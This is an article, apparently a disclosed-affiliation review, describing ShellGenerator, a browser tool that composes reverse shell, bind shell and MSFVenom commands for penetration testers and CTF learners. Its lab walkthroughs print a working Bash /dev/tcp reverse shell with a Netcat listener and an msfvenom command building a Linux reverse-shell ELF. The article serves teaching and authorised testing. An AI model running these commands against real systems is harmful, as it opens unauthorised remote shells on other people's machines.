A shell command can fail because one address, interpreter or listener choice is wrong. ShellGenerator brings those choices into a browser interface: enter the connection details, choose a payload and review the generated command beside its listener or handler. It is a practical tool for penetration testers, CTF players and learners who want to spend less time assembling command syntax.
Disclosure: ShellGenerator is a project by Ilias Georgopoulos, editor of DaySec.
The web application supports Reverse, Bind and MSFVenom modes, with Linux and Windows options for reverse and bind shells. The public source repository describes it as the web version of the maintainer’s Python desktop generator. The browser creates command text; it does not execute a payload, establish a session or run Metasploit for the user.
Three modes, with different connection directions
In Reverse mode, the machine running the payload connects back to a listener. LHOST therefore needs to be an address that the lab target can reach on the listener machine, and LPORT needs to match the listening port. The interface updates the command as those values change.
Bind mode reverses that relationship: the lab target listens and the tester connects to it. The generator uses RHOST for the target address. Choosing this mode does not make a blocked inbound connection reachable; the route and firewall rules still need to permit the connection.
MSFVenom mode builds a command for the installed Metasploit payload generator. It offers payload, platform, staged or stageless type, output format and additional settings. It also provides a listener or handler appropriate to the selected payload, helping users keep both ends of the example consistent.
The current documented catalogue contains 170 selectable options: 79 reverse templates, 32 bind templates and 59 MSFVenom payload choices. These are catalogue choices across several environments, rather than 170 commands that will work on every target. Examples span Bash, Python, PHP, PowerShell, Netcat, Ncat, Socat, Node.js and other runtimes.
Guidance before copying
The Smart Payload Advisor helps narrow the list using transport, payload family and the binaries or interpreters the user knows are available. In our interface check, selecting Linux, TCP and Bash reduced the recommendations to four reviewable Bash entries. The interface still warned that the shell build must support the relevant network redirections.
The advisor’s matching logic works with declared requirements and user selections. It does not inspect the target to discover installed software. Leaving capabilities unknown keeps their requirements unconfirmed; selecting a capability should follow an actual check of the lab environment.
The separate Explain selected payload control shows connection direction, interpreter requirements, dynamic values, compatibility notes and a guided workflow. For the Bash example, it identifies the outbound connection and places listener preparation before payload execution. This gives learners a way to connect a command’s syntax with what is happening on the network.
Shell selection is also compatibility-aware. A fixed Bash template displays Bash as required, while templates that support substitution allow an appropriate shell choice. Category filters, searchable payload selection and separate copy buttons make the interface convenient when comparing alternatives.
Example 1: a Bash reverse shell in an isolated lab
Use two VMs that you own on an isolated training network. In this example, the listener VM is 192.168.56.10 and the Linux target VM is 192.168.56.20. These are illustrative lab addresses; substitute the actual addresses of your VMs. The target needs Bash with TCP redirection support, and the listener needs a compatible Netcat installation.
In ShellGenerator, select Reverse, Linux and Bash -i. Set LHOST to 192.168.56.10, LPORT to 4444 and Encoding to None. The interface produces the following listener command, to run on the listener VM:
nc -lvnp 4444Once the listener is ready, the generated command belongs on the authorised Linux target VM:
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1Here, bash -i starts an interactive Bash process. The redirections connect its input and output to the TCP connection. The address is the listener’s address, not the target’s own IP. The command establishes a shell with the permissions available to that process; it does not grant elevated privileges.
After a connection appears, simple checks such as whoami and pwd can confirm the expected user and working directory. A basic shell may have limited terminal behaviour. If no connection appears, check the listener, address, route, port, Bash support and firewall behaviour before changing payloads. Netcat options vary between implementations, so check your installed command’s help.
Example 2: building an MSFVenom command
For a command-generation example, choose MSFVenom, Linux, Stageless and linux/x86/shell_reverse_tcp. Select elf as the output format, leave the encoder at None, clear the bad-character field and set the output filename to lab-shell.elf. With the same host and port, the interface generates:
msfvenom \
-p linux/x86/shell_reverse_tcp \
LHOST=192.168.56.10 \
LPORT=4444 \
-f elf \
-o lab-shell.elfThis command requires MSFVenom on the machine where it is run. The Metasploit documentation explains the payload, format and output-file options. Running it generates the named file; copying it from ShellGenerator does not create a file or execute anything. The selected example is for Linux x86, so any later execution exercise needs a compatible lab target.
For this simple stageless command-shell selection, the generator displayed a Netcat listener. Switching to linux/x86/shell/reverse_tcp produced a Metasploit multi/handler configuration instead. Staged payloads need the handler to deliver their final stage. Meterpreter selections also require the appropriate Metasploit handler; a generic Netcat listener is not interchangeable with it.
Encoding and compatibility still need context
The reverse and bind interface offers None, Base64, URL and Double URL encoding choices. Pick a representation that fits the place where the command will be used. Encoding changes how text is represented; it does not establish that a command will execute successfully or that security controls will accept it.
MSFVenom’s encoder settings are a separate feature. Its own documentation cautions against treating encoding as an antivirus evasion solution. Likewise, an outbound reverse connection still depends on routing, egress rules and endpoint controls. Those conditions remain part of the assessment or lab exercise.
Try the workflow and inspect the source
Open shellgenerator.dev to explore the modes, compare payload requirements and review the commands for your own lab. The GitHub repository contains the implementation, catalogue and project documentation for readers who want to understand or contribute to the tool. A useful first session is to explain the connection direction, identify both machines and compare the generated command with the selected payload’s requirements.
Interface behaviour and example output reviewed on November 5, 2026. The examples were checked in the generator; no shell payloads or generated executables were run for this article. Use them only in environments you own or are explicitly authorised to test.
